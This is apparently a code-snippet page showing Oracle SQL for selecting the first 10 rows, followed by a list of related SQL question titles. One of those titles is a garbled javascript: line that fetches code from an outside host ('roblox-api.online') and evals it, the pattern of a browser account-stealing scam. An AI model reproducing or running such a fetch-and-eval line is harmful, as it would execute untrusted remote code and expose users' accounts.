Oracle select first 10 rows

SELECT * FROM (SELECT [COLUMNS] FROM [TABLE] ORDER BY [DATE] DESC)
    WHERE ROWNUM >= 1 AND ROWNUM <=10;
-- Oracle 12c:
SELECT * FROM (SELECT [COLUMNS] FROM [TABLE] ORDER BY [DATE] DESC) 
    FETCH FIRST 10 ROWS ONLY;

Similar codes

5 votes155 views4 answers
Start postgres server
SQL
0 vote144 views1 answer
Postgres sql alter table delete row
SQL
3 votes151 views2 answers
MySQL query to get column names
SQL
0 vote149 views1 answer
Select into table variable
SQL
2 votes162 views1 answer
Revokeprivileges mysql
SQL
1 vote138 views1 answer
Oracle avg
SQL
4 votes131 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
0 vote139 views1 answer
Https://www.jitendrazaa.com/blog/sql/sqlserver/export-documents-saved-as-blob-binary-from-sql-server/
SQL
1 vote142 views3 answers
Mysql connection string
SQL
1 vote144 views1 answer
Mysql size int
SQL